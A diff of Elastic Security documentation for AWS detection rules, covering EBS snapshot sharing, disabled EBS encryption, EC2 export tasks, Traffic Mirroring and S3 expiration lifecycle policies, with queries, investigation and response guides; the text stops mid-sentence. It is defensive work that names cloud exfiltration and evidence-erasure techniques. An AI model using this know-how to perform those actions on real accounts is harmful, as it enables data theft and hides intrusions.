-*Additional Information:* +*Additional information* -For further guidance on managing EBS snapshots and securing AWS environments, refer to the https://docs.aws.amazon.com/ebs/latest/userguide/ebs-modifying-snapshot-permissions.html[AWS EBS documentation] and AWS best practices for security. Additionally, consult the following resources for specific details on EBS snapshot security: -- https://docs.aws.amazon.com/ebs/latest/userguide/ebs-modifying-snapshot-permissions.html[AWS EBS Snapshot Permissions] -- https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ModifySnapshotAttribute.html[AWS API ModifySnapshotAttribute] -- https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump[AWS EBS Snapshot Dump] + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS Incident Response Playbooks]**: reference playbooks for investigating data exfiltration and unauthorized access. +- **https://github.com/aws-samples/aws-customer-playbook-framework/[AWS Customer Playbook Framework]**: example framework for developing custom playbooks for snapshot configuration and data protection. +- **AWS Documentation** + - https://docs.aws.amazon.com/ebs/latest/userguide/ebs-modifying-snapshot-permissions.html[EBS Snapshot Permissions] + - https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ModifySnapshotAttribute.html[ModifySnapshotAttribute API Reference] ==== Rule query @@ -100,32 +130,11 @@ For further guidance on managing EBS snapshots and securing AWS environments, re [source, js] ---------------------------------- -from logs-aws.cloudtrail-* metadata _id, _version, _index -| where - event.provider == "ec2.amazonaws.com" +info where event.dataset == "aws.cloudtrail" and event.action == "ModifySnapshotAttribute" and event.outcome == "success" - -// Extract snapshotId, attribute type, operation type, and userId -| dissect aws.cloudtrail.request_parameters - "{%{?snapshotId}=%{Esql.aws_cloudtrail_request_parameters_snapshot_id},%{?attributeType}=%{Esql.aws_cloudtrail_request_parameters_attribute_type},%{?createVolumePermission}={%{Esql.aws_cloudtrail_request_parameters_operation_type}={%{?items}=[{%{?userId}=%{Esql_priv.aws_cloudtrail_request_parameters_user_id}}]}}}" - -// Check for snapshot permission added for another AWS account -| where - Esql.aws_cloudtrail_request_parameters_operation_type == "add" - and cloud.account.id != Esql_priv.aws_cloudtrail_request_parameters_user_id - -// keep ECS and derived fields -| keep - @timestamp, - aws.cloudtrail.user_identity.arn, - cloud.account.id, - event.action, - Esql.aws_cloudtrail_request_parameters_snapshot_id, - Esql.aws_cloudtrail_request_parameters_attribute_type, - Esql.aws_cloudtrail_request_parameters_operation_type, - Esql_priv.aws_cloudtrail_request_parameters_user_id, - source.ip + and stringContains (aws.cloudtrail.request_parameters, "attributeType=CREATE_VOLUME_PERMISSION") + and stringContains (aws.cloudtrail.request_parameters, "add=") ---------------------------------- diff --git a/docs/detections/prebuilt-rules/rule-details/aws-ec2-encryption-disabled.asciidoc b/docs/detections/prebuilt-rules/rule-details/aws-ec2-encryption-disabled.asciidoc index 5aaeca0799..bf538c03a3 100644 --- a/docs/detections/prebuilt-rules/rule-details/aws-ec2-encryption-disabled.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/aws-ec2-encryption-disabled.asciidoc @@ -1,7 +1,7 @@ [[aws-ec2-encryption-disabled]] === AWS EC2 Encryption Disabled -Identifies disabling of Amazon Elastic Block Store (EBS) encryption by default in the current region. Disabling encryption by default does not change the encryption status of your existing volumes. +Detects when Amazon Elastic Block Store (EBS) encryption by default is disabled in an AWS region. EBS encryption ensures that newly created volumes and snapshots are automatically protected with AWS Key Management Service (KMS) keys. Disabling this setting introduces significant risk as all future volumes created in that region will be unencrypted by default, potentially exposing sensitive data at rest. Adversaries may disable encryption to weaken data protection before exfiltrating or tampering with EBS volumes or snapshots. This may be a step in preparation for data theft or ransomware-style attacks that depend on unencrypted volumes. *Rule type*: query @@ -14,9 +14,9 @@ Identifies disabling of Amazon Elastic Block Store (EBS) encryption by default i *Risk score*: 47 -*Runs every*: 10m +*Runs every*: 5m -*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) *Maximum alerts per execution*: 100 @@ -35,7 +35,7 @@ Identifies disabling of Amazon Elastic Block Store (EBS) encryption by default i * Tactic: Impact * Resources: Investigation Guide -*Version*: 209 +*Version*: 210 *Rule authors*: @@ -58,44 +58,77 @@ Identifies disabling of Amazon Elastic Block Store (EBS) encryption by default i *Investigating AWS EC2 Encryption Disabled* -Amazon EC2's EBS encryption ensures data at rest is secure by default. Disabling this feature can expose sensitive data, making it vulnerable to unauthorized access. Adversaries might exploit this by disabling encryption to access or manipulate data without detection. The detection rule monitors CloudTrail logs for successful attempts to disable EBS encryption, alerting security teams to potential misuse. +Amazon Elastic Block Store (EBS) encryption ensures that all new EBS volumes and snapshots are encrypted at rest using AWS KMS keys. +When encryption by default is disabled, new EBS volumes in the region will no longer inherit automatic encryption. +This action can have serious security implications as it can weaken the organization’s data protection posture, violate compliance requirements, or enable adversaries to read or exfiltrate sensitive information without triggering encryption-based access controls. *Possible investigation steps* -- Review the CloudTrail logs for the specific event.action: DisableEbsEncryptionByDefault to identify the user or role that initiated the action. -- Check the event.provider: ec2.amazonaws.com logs to gather additional context about the environment and any related activities around the time of the event. -- Investigate the IAM policies and permissions associated with the user or role to determine if they have the necessary permissions to disable EBS encryption and if those permissions are appropriate. -- Assess the event.outcome: success to confirm that the action was completed successfully and identify any subsequent actions taken by the same user or role. -- Examine the AWS account's security settings and configurations to ensure that no other security features have been altered or disabled. -- Contact the user or team responsible for the action to understand the rationale behind disabling EBS encryption and verify if it aligns with organizational policies. +**Identify the initiator and context** +- Review the `aws.cloudtrail.user_identity` fields to determine who or what performed the `DisableEbsEncryptionByDefault` action. + - Examine the `user_identity.type` (e.g., IAMUser, AssumedRole, Root, FederatedUser). + - Validate whether the actor is authorized to modify account-level encryption defaults. +- Check `source.ip` and `user_agent.original` to identify the origin of the request and whether it came from a known administrative system, automation process, or an unfamiliar host. +- Correlate with recent IAM activity such as `AttachUserPolicy`, `UpdateAccountPasswordPolicy`, or `PutAccountSetting` to identify potential privilege escalation or account misuse. +**Review the timing and scope** +- Compare the event `@timestamp` with other CloudTrail management events to determine if the encryption change occurred alongside other administrative modifications. +- Investigate if similar actions were executed in other AWS regions, disabling encryption regionally may be part of a broader campaign. +- Review AWS Config or Security Hub findings to determine whether compliance controls or data protection standards (e.g., CIS, PCI-DSS, ISO 27001) have been violated. +**Assess data exposure risk** +- Identify newly created or modified EBS volumes after the timestamp of this change. + - Query CloudTrail for `CreateVolume` or `CreateSnapshot` events without `Encrypted:true`. +- Determine whether sensitive workloads, such as production databases or applications, rely on unencrypted EBS volumes. +- Check for `CopySnapshot` or `ModifySnapshotAttribute` activity that could indicate data staging or exfiltration. +**Correlate related security events** +- Look for concurrent detections or GuardDuty findings involving IAM privilege misuse, credential exposure, or configuration tampering. +- Review CloudTrail logs for any `DisableKeyRotation` or `ScheduleKeyDeletion` events related to the KMS key used for EBS encryption. These may indicate attempts to disrupt encryption mechanisms entirely. +- Review AWS Config timeline to confirm whether encryption-by-default was re-enabled or remained off. *False positive analysis* -- Routine administrative actions may trigger alerts if encryption is disabled for testing or configuration purposes. To manage this, create exceptions for specific IAM roles or users known to perform these tasks regularly. -- Automated scripts or tools that disable encryption for specific workflows might cause false positives. Identify these scripts and exclude their associated actions from triggering alerts by using specific tags or identifiers. -- Changes in regional settings or policies that temporarily disable encryption could be misinterpreted as threats. Monitor these changes and adjust the detection rule to account for legitimate policy updates. -- Scheduled maintenance or updates that require temporary encryption disabling should be documented and excluded from alerts by setting time-based exceptions during known maintenance windows. +- **Administrative changes**: System or cloud administrators may disable default encryption temporarily for troubleshooting or migration. Verify if the user identity, role, or automation process is part of a legitimate change. +- **Infrastructure testing**: Non-production environments may disable encryption for cost or performance benchmarking. These should be tagged and excluded. +- **Service misconfiguration**: Some provisioning frameworks or scripts may unintentionally disable encryption defaults during environment setup. Ensure automation code uses explicit encryption flags when creating resources. + +If confirmed as expected, document the change request, implementation window, and user responsible for traceability. *Response and remediation* -- Immediately isolate the affected EC2 instances to prevent further unauthorized access or data manipulation. This can be done by modifying security group rules or network ACLs to restrict access. -- Re-enable EBS encryption by default in the affected region to ensure that all new volumes are encrypted. This can be done through the AWS Management Console or AWS CLI. -- Conduct a thorough review of recent changes in the AWS environment to identify any unauthorized modifications or access patterns. Focus on CloudTrail logs for any suspicious activity related to EBS encryption settings. -- Notify the security operations team and relevant stakeholders about the incident, providing them with details of the alert and any initial findings. -- Implement additional monitoring and alerting for any future attempts to disable EBS encryption by default, ensuring that security teams are promptly notified of similar activities. -- Review and update IAM policies to ensure that only authorized personnel have the necessary permissions to modify EBS encryption settings, reducing the risk of accidental or malicious changes. -- If any data manipulation is detected, initiate data recovery procedures to restore affected data from backups, ensuring data integrity and availability. +**1. Containment and restoration** +- Re-enable EBS encryption by default in the affected region to restore protection for new volumes: + - Via AWS Console: EC2 → Account Attributes → EBS encryption → Enable by default. + - Or via CLI/API: `enable-ebs-encryption-by-default`. +- Audit recently created EBS volumes and snapshots. + - Identify any unencrypted resources and re-encrypt them using KMS keys or snapshot-copy encryption workflows. +- Verify that AWS Config rules and Security Hub controls related to EBS encryption (`ec2-ebs-encryption-by-default-enabled`) are enabled and compliant. +**2. Investigate and scope** +- Review IAM policies to ensure only designated administrators have the `ec2:DisableEbsEncryptionByDefault` permission. +- Check for other regional encryption settings (e.g., S3 default encryption) that may have been modified by the same user or automation role. +- Examine whether any new IAM roles or policies were added that allow similar encryption or security modifications. +**3. Long-term hardening** +- Enable organization-level service control policies (SCPs) to prevent future disabling of encryption-by-default across accounts. +- Establish AWS Config conformance packs or Security Hub standards to continuously monitor this setting. +- Integrate detection correlation (e.g., link EBS encryption disablement with subsequent unencrypted `CreateVolume` events) for improved alert fidelity. +- Educate administrators on data protection implications and require change approvals for encryption-related settings. +**4. Recovery validation** +- After restoring encryption-by-default, validate the change in CloudTrail and AWS Config timelines. +- Confirm that subsequent EBS volumes are created with `Encrypted:true`. +- Conduct a short post-incident review to document root cause, impact, and lessons learned for compliance audits. + + +*Additional information* -==== Setup +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS Incident Response Playbooks]**: guidance for investigating unauthorized access to modify account settings. +- **https://github.com/aws-samples/aws-customer-playbook-framework/[AWS Customer Playbook Framework]**: Example framework for customers to create, develop, and integrate security playbooks in preparation for potential attack scenarios when using AWS services +- **AWS Documentation: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html[EBS Encryption at Rest]** -The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. ==== Rule query diff --git a/docs/detections/prebuilt-rules/rule-details/aws-ec2-export-task.asciidoc b/docs/detections/prebuilt-rules/rule-details/aws-ec2-export-task.asciidoc new file mode 100644 index 0000000000..663cea77ff --- /dev/null +++ b/docs/detections/prebuilt-rules/rule-details/aws-ec2-export-task.asciidoc @@ -0,0 +1,147 @@ +[[aws-ec2-export-task]] +=== AWS EC2 Export Task + +Identifies successful export tasks of EC2 instances via the APIs CreateInstanceExportTask, ExportImage, or CreateStoreImageTask. These exports can be used by administrators for legitimate VM migration or backup workflows however, an attacker with access to an EC2 instance or AWS credentials can export a VM or its image and then transfer it off-account for exfiltration of data. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/vm-import/latest/userguide/vmexport.html +* https://docs.aws.amazon.com/vm-import/latest/userguide/vmexport_image.html +* https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.html, + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS EC2 +* Use Case: Asset Visibility +* Tactic: Exfiltration +* Tactic: Collection +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating AWS EC2 Export Task* + + +The APIs `CreateInstanceExportTask`, `ExportImage`, and `CreateStoreImageTask` allow the export of a running or stopped EC2 instance (or its AMI/image) to external storage (e.g., S3) or image formats. While often used for migration, cloning or backup, adversaries can leverage these actions to copy full VM state or images out of the environment for exfiltration. + + +*Possible investigation steps* + + +**Identify the actor and context** + - Check `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, `aws.cloudtrail.user_identity.access_key_id` to identify who made the call. + - Verify `user_agent.original`, `source.ip` and `@timestamp` to determine whether the action is by known automation, trusted operator, or an unexpected identity or location. + - Confirm `cloud.account.id` and `cloud.region` match the expected account/region for export tasks. + +**Examine the specific export/image task details** + - Review `aws.cloudtrail.request_parameters` for details such as the `InstanceId`, `TargetEnvironment`, `S3Bucket`, `S3Key`, `DiskImageFormat`, `ContainerFormat`. + - Check `aws.cloudtrail.response_elements` for the resulting export task ID and status. + - Determine whether the exported instance or image contained sensitive workloads (e.g., production databases, critical systems) via instance tags or asset inventory. + +**Pivot to related API calls/events** + - Look for follow-on tasks such as: + - S3 bucket writes or cross-account bucket ACL changes (`PutBucketAcl`/`PutBucketPolicy`) referencing the export S3 bucket or key. + - `CopyImage`, `ModifyImageAttribute`, or `ShareImage` events if the exported image is copied or shared. + - Network or usage anomalies in the region or from the S3 bucket (large downloads from the exported object). + - Check for preceding suspicious actions that could indicate compromise: `AssumeRole`, `CreateAccessKey`, `AttachUserPolicy`, or unusual `Describe*` operations. + +**Assess legitimacy and risk** + - Confirm whether this export was authorized (via change ticket or migration workflow) and whether the principal has a documented justification for VM export. + - If unauthorized, assess what was exported, where it is stored, how it may be transferred or used externally, and the data risk exposure. + + +*False positive analysis* + + +- Legitimate migration or backup workflows may trigger these export/image APIs. +- Development/test environments may export VM images or instances for sandbox cloning. +- Known automation tools may create exports at scheduled times. + + +*Response and remediation* + + +- Immediately identify and disable or isolate any object/resource created by the export (e.g., the S3 bucket/object, image ID) that is suspected of unauthorized use. +- Revoke the access credentials (`aws.cloudtrail.user_identity.access_key_id`) used if they show unusual activity. +- Rotate keys, enforce MFA, and review IAM permissions for the principal. +- Audit the exported VM/image: review its contents if possible, check whether it has been moved off-account. +- Strengthen monitoring: set alerts for subsequent large data transfers from the S3 export location, cross-account sharing of exported images, or anomalous AMI imports. +- Update policy: restrict who can perform exports, monitor export actions via AWS Config or CloudTrail, tag and track export tasks and their destinations. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "aws.cloudtrail" and + event.provider: "ec2.amazonaws.com" and + event.action: ("CreateInstanceExportTask" or "ExportImage" or "CreateStoreImageTask") and + event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Transfer Data to Cloud Account +** ID: T1537 +** Reference URL: https://attack.mitre.org/techniques/T1537/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Local System +** ID: T1005 +** Reference URL: https://attack.mitre.org/techniques/T1005/ +* Technique: +** Name: Automated Collection +** ID: T1119 +** Reference URL: https://attack.mitre.org/techniques/T1119/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ diff --git a/docs/detections/prebuilt-rules/rule-details/aws-ec2-full-network-packet-capture-detected.asciidoc b/docs/detections/prebuilt-rules/rule-details/aws-ec2-full-network-packet-capture-detected.asciidoc index 32ce367176..8a763d74c8 100644 --- a/docs/detections/prebuilt-rules/rule-details/aws-ec2-full-network-packet-capture-detected.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/aws-ec2-full-network-packet-capture-detected.asciidoc @@ -1,7 +1,7 @@ [[aws-ec2-full-network-packet-capture-detected]] === AWS EC2 Full Network Packet Capture Detected -Identifies potential Traffic Mirroring in an Amazon Elastic Compute Cloud (EC2) instance. Traffic Mirroring is an Amazon VPC feature that you can use to copy network traffic from an Elastic network interface. This feature can potentially be abused to exfiltrate sensitive data from unencrypted internal traffic. +Detects successful creation of an Amazon EC2 Traffic Mirroring session. A session copies full packets from a source Elastic Network Interface (ENI) to a mirror target (e.g., an ENI or NLB) using a mirror filter (ingress/egress rules). While used for diagnostics and NDR/IDS tooling, adversaries can abuse sessions to covertly capture and exfiltrate sensitive, potentially unencrypted, traffic from instances or subnets. *Rule type*: query @@ -14,28 +14,29 @@ Identifies potential Traffic Mirroring in an Amazon Elastic Compute Cloud (EC2) *Risk score*: 47 -*Runs every*: 10m +*Runs every*: 5m -*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) *Maximum alerts per execution*: 100 *References*: -* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_TrafficMirrorFilter.html -* https://github.com/easttimor/aws-incident-response +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_TrafficMirrorSession.html +* https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws/ *Tags*: * Domain: Cloud * Data Source: AWS * Data Source: Amazon Web Services +* Data Source: AWS EC2 * Use Case: Network Security Monitoring * Tactic: Exfiltration * Tactic: Collection * Resources: Investigation Guide -*Version*: 209 +*Version*: 210 *Rule authors*: @@ -59,54 +60,86 @@ Identifies potential Traffic Mirroring in an Amazon Elastic Compute Cloud (EC2) *Investigating AWS EC2 Full Network Packet Capture Detected* -Traffic Mirroring in AWS EC2 allows copying of network traffic for monitoring and analysis, crucial for security and performance insights. However, adversaries can exploit this by capturing unencrypted data, leading to potential data exfiltration. The detection rule identifies successful creation of traffic mirroring components, signaling possible misuse for unauthorized data collection. +This alert fires on a successful `CreateTrafficMirrorSession`, which enables full-packet Traffic Mirroring from a +source ENI to a mirror target under a given filter. Because sessions immediately begin sending packets once active, +treat unexpected creations as high priority. *Possible investigation steps* -- Review the CloudTrail logs for the specific event actions: CreateTrafficMirrorFilter, CreateTrafficMirrorFilterRule, CreateTrafficMirrorSession, and CreateTrafficMirrorTarget to identify the user or role that initiated these actions. -- Check the event.outcome field to confirm the success of the traffic mirroring setup and gather details about the time and source IP address of the request. -- Investigate the associated Elastic Network Interface (ENI) to determine which EC2 instance is involved and assess its role and importance within the network. -- Analyze the network traffic patterns and data flow from the mirrored traffic to identify any signs of data exfiltration or unusual data transfer activities. -- Verify the encryption status of the network traffic being mirrored to assess the risk of sensitive data exposure. -- Cross-reference the involved AWS account and IAM roles with known threat actor profiles or previous security incidents to identify potential insider threats or compromised accounts. +**Identify the actor and execution context** +- **Principal**: Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, and + `aws.cloudtrail.user_identity.access_key_id` to determine who created the session (human IAM user vs. assumed role vs. automation). +- **Caller metadata**: Check `user_agent.original`, and `source.ip` for unusual tools, hosts, or locations. +- **Account/Region/Time**: Validate `cloud.account.id`, `cloud.region`, and `@timestamp` against change windows or tickets. + +**Extract the session details from the event** +- **Request parameters**: Parse `aws.cloudtrail.request_parameters` for: + - `NetworkInterfaceId` (mirrored source ENI) map to the EC2 instance and its business function. + - `TrafficMirrorTargetId` identify where packets are being sent (ENI vs. NLB). + - `TrafficMirrorFilterId` check which directions and protocols are allowed (ingress/egress, ports). + - `SessionNumber`, `Description`, `TagSpecifications` look for operator tags or suspicious notes. +- **Response elements**: Use `aws.cloudtrail.response_elements` to confirm the created `TrafficMirrorSessionId` and + any resolved resource ARNs/IDs. + +**Pivot for related API calls to validate scope and intent** +Look before and after this event (±30–60 minutes) by the same principal / access key / source IP for: +- **Target & Filter lifecycle**: `CreateTrafficMirrorTarget`, `CreateTrafficMirrorFilter`, `CreateTrafficMirrorFilterRule`, + `ModifyTrafficMirrorSession|Filter|FilterRule`, and `Delete*` calls (rapid create-modify patterns can indicate staging). +- **Session management**: `DeleteTrafficMirrorSession` shortly after creation (test/probe), or repeated creations to different targets. +- **Discovery/positioning**: `DescribeNetworkInterfaces`, `DescribeInstances`, `DescribeVpcs/Subnets/RouteTables` around the same time. +- **Cross-account indicators**: creation of targets that forward to infrastructure not owned by your account (e.g., NLB in shared services). +- **Other suspicious changes**: IAM permission changes, new access keys, or S3/SNS setup that could support exfil/ops. + +**Validate the mirror destination and potential data exposure** +- If the target is an ENI: identify the owning instance/application; confirm it is an approved NDR/packet capture host. +- If the target is an NLB target: determine where the NLB sends traffic (could be a collection point in another VPC or account). +- Assess whether mirrored flows include plaintext protocols (internal HTTP, databases, LDAP, etc.) increasing sensitivity. *False positive analysis* -- Routine network monitoring activities may trigger the rule if legitimate traffic mirroring is set up for performance analysis. To manage this, identify and document authorized traffic mirroring configurations and exclude them from alerts. -- Security audits or compliance checks might involve creating traffic mirroring sessions. Coordinate with audit teams to schedule these activities and temporarily suppress alerts during these periods. -- Development and testing environments often use traffic mirroring for debugging purposes. Maintain a list of such environments and apply exceptions to avoid unnecessary alerts. -- Automated infrastructure management tools might create traffic mirroring components as part of their operations. Review and whitelist these tools to prevent false positives. -- Ensure that any third-party services with access to your AWS environment are vetted and their activities are monitored to distinguish between legitimate and suspicious traffic mirroring actions. +- **Authorized monitoring**: Approved NDR/IDS tooling or troubleshooting playbooks may legitimately create sessions. +- **Ops/diagnostics**: Short-lived sessions during incident handling or performance analysis. +- **Automation**: Infrastructure pipelines that stand up temporary mirroring for validation. *Response and remediation* -- Immediately isolate the affected EC2 instance to prevent further data exfiltration. This can be done by removing the instance from any network access or security groups that allow outbound traffic. -- Review and terminate any unauthorized Traffic Mirroring sessions, filters, or targets that were created. Ensure that only legitimate and necessary mirroring configurations are active. -- Conduct a thorough audit of the AWS CloudTrail logs to identify any other suspicious activities or unauthorized access attempts related to Traffic Mirroring or other sensitive operations. -- Rotate and update any credentials or access keys that may have been exposed or compromised during the incident to prevent further unauthorized access. -- Notify the security team and relevant stakeholders about the incident for awareness and further investigation. Escalate to higher management if the data exfiltration involves sensitive or critical data. -- Implement additional network monitoring and intrusion detection measures to enhance visibility and detect similar threats in the future. Consider using AWS GuardDuty or similar services for continuous threat detection. -- Review and update security policies and access controls to ensure that Traffic Mirroring and other sensitive features are only accessible to authorized personnel with a legitimate need. +**1. Contain** +- If unauthorized, terminate the session immediately (use the `TrafficMirrorSessionId` from `aws.cloudtrail.response_elements`) + and block creation permissions for the offending principal. +- Quarantine or restrict egress from the target if you suspect it is forwarding captured traffic outside approved destinations. -==== Setup +**2. Investigate** +- Enumerate all active sessions in the affected account/region; verify there aren’t additional rogue sessions. +- Review related target and filter resources (and recent `Modify*` calls) to understand captured scope and recipients. +- Trace the source ENI back to the EC2 instance and validate whether sensitive workloads were mirrored. + +**3. Recover & harden** +- Remove or lock down unapproved targets/filters; enforce least privilege on `ec2:CreateTrafficMirrorSession/Target/Filter`. +- Consider SCPs or IAM conditions limiting who/where sessions can be created (e.g., only into designated monitoring VPCs). +- Ensure monitoring targets are controlled, logged, and not internet-reachable. + +**4. Improve** +- Add correlation logic to automatically surface CreateTrafficMirrorSession alongside Create/Modify Target/Filter calls by the same actor. +- Require tags on approved mirroring resources; alert on untagged/unticketed creations. +- Update playbooks to include a standard validation checklist (principal, source ENI, target, filter rules, destination path). -The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. ==== Rule query [source, js] ---------------------------------- -event.dataset:aws.cloudtrail and event.provider:ec2.amazonaws.com and -event.action:(CreateTrafficMirrorFilter or CreateTrafficMirrorFilterRule or CreateTrafficMirrorSession or CreateTrafficMirrorTarget) and -event.outcome:success +event.dataset: "aws.cloudtrail" and + event.provider: "ec2.amazonaws.com" and + event.action: "CreateTrafficMirrorSession" and + event.outcome: "success" ---------------------------------- @@ -120,6 +153,10 @@ event.outcome:success ** Name: Automated Exfiltration ** ID: T1020 ** Reference URL: https://attack.mitre.org/techniques/T1020/ +* Technique: +** Name: Transfer Data to Cloud Account +** ID: T1537 +** Reference URL: https://attack.mitre.org/techniques/T1537/ * Tactic: ** Name: Collection ** ID: TA0009 @@ -128,3 +165,11 @@ event.outcome:success ** Name: Data Staged ** ID: T1074 ** Reference URL: https://attack.mitre.org/techniques/T1074/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Network Sniffing +** ID: T1040 +** Reference URL: https://attack.mitre.org/techniques/T1040/ diff --git a/docs/detections/prebuilt-rules/rule-details/aws-ec2-multi-region-describeinstances-api-calls.asciidoc b/docs/detections/prebuilt-rules/rule-details/aws-ec2-multi-region-describeinstances-api-calls.asciidoc index 9944b618db..c8a4390dce 100644 --- a/docs/detections/prebuilt-rules/rule-details/aws-ec2-multi-region-describeinstances-api-calls.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/aws-ec2-multi-region-describeinstances-api-calls.asciidoc @@ -31,7 +31,7 @@ Identifies when a single AWS resource is making `DescribeInstances` API calls in * Use Case: Threat Detection * Tactic: Discovery -*Version*: 5 +*Version*: 7 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/aws-iam-user-created-access-keys-for-another-user.asciidoc b/docs/detections/prebuilt-rules/rule-details/aws-iam-user-created-access-keys-for-another-user.asciidoc index 600bd66706..6c12b7d2c8 100644 --- a/docs/detections/prebuilt-rules/rule-details/aws-iam-user-created-access-keys-for-another-user.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/aws-iam-user-created-access-keys-for-another-user.asciidoc @@ -35,7 +35,7 @@ An adversary with access to a set of compromised credentials may attempt to pers * Tactic: Persistence * Resources: Investigation Guide -*Version*: 8 +*Version*: 10 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/aws-s3-bucket-expiration-lifecycle-configuration-added.asciidoc b/docs/detections/prebuilt-rules/rule-details/aws-s3-bucket-expiration-lifecycle-configuration-added.asciidoc index a40bc0134b..60710027a8 100644 --- a/docs/detections/prebuilt-rules/rule-details/aws-s3-bucket-expiration-lifecycle-configuration-added.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/aws-s3-bucket-expiration-lifecycle-configuration-added.asciidoc @@ -1,9 +1,9 @@ [[aws-s3-bucket-expiration-lifecycle-configuration-added]] === AWS S3 Bucket Expiration Lifecycle Configuration Added -Identifies an expiration lifecycle configuration added to an S3 bucket. Lifecycle configurations can be used to manage objects in a bucket, including setting expiration policies. This rule detects when a lifecycle configuration is added to an S3 bucket, which could indicate that objects in the bucket will be automatically deleted after a specified period of time. This could be used to evade detection by deleting objects that contain evidence of malicious activity. +Identifies the addition of an expiration lifecycle configuration to an Amazon S3 bucket. S3 lifecycle rules can automatically delete or transition objects after a defined period. Adversaries can abuse them by configuring auto-deletion of logs, forensic evidence, or sensitive objects to cover their tracks. This rule detects the use of the PutBucketLifecycle or PutBucketLifecycleConfiguration APIs with Expiration parameters, which may indicate an attempt to automate the removal of data to hinder investigation or maintain operational secrecy after malicious activity. -*Rule type*: query +*Rule type*: eql *Rule indices*: @@ -14,9 +14,9 @@ Identifies an expiration lifecycle configuration added to an S3 bucket. Lifecycl *Risk score*: 21 -*Runs every*: 10m +*Runs every*: 5m -*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) *Maximum alerts per execution*: 100 @@ -34,7 +34,7 @@ Identifies an expiration lifecycle configuration added to an S3 bucket. Lifecycl * Tactic: Defense Evasion * Resources: Investigation Guide -*Version*: 5 +*Version*: 6 *Rule authors*: @@ -54,65 +54,108 @@ Identifies an expiration lifecycle configuration added to an S3 bucket. Lifecycl *Investigating AWS S3 Bucket Expiration Lifecycle Configuration Added* -This rule detects when an expiration lifecycle configuration is added to an S3 bucket in AWS. Such configurations can automate the deletion of objects within a bucket after a specified period, potentially obfuscating evidence of unauthorized access or malicious activity by automatically removing logs or other data. +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. +This rule detects when a lifecycle expiration policy is added to an S3 bucket via the `PutBucketLifecycle` or `PutBucketLifecycleConfiguration` API. Note: `PutBucketLifecycleConfiguration` is the newer supported API call, however both of these API calls show up as `PutBucketLifecycle` in Cloudtrail https://docs.aws.amazon.com/AmazonS3/latest/userguide/cloudtrail-logging-s3-info.html#cloudtrail-bucket-level-tracking[ref]. +Lifecycle expiration automatically deletes objects after a defined period (`Expiration:Days`), which can be leveraged by adversaries to erase logs, exfiltration evidence, or security artifacts before detection and response teams can review them. -*Detailed Investigation Steps* +Because deletion is automated and often silent, detecting the initial configuration event is critical. -- **Review the Affected S3 Bucket**: Check the bucket details (`bucketName`) where the lifecycle configuration has been added. - - Determine the contents and importance of the data stored in this bucket to assess the impact of the lifecycle policy. -- **Analyze the Lifecycle Configuration**: - - **Expiration Policy**: Note the `Days` parameter under `Expiration` in the lifecycle rule. This indicates how long after creation data will remain in the bucket before being automatically deleted. - - **Rule ID and Status**: Review the `ID` and `Status` of the lifecycle rule to understand its operational scope and activation status. -- **User Identity and Activity**: - - **User 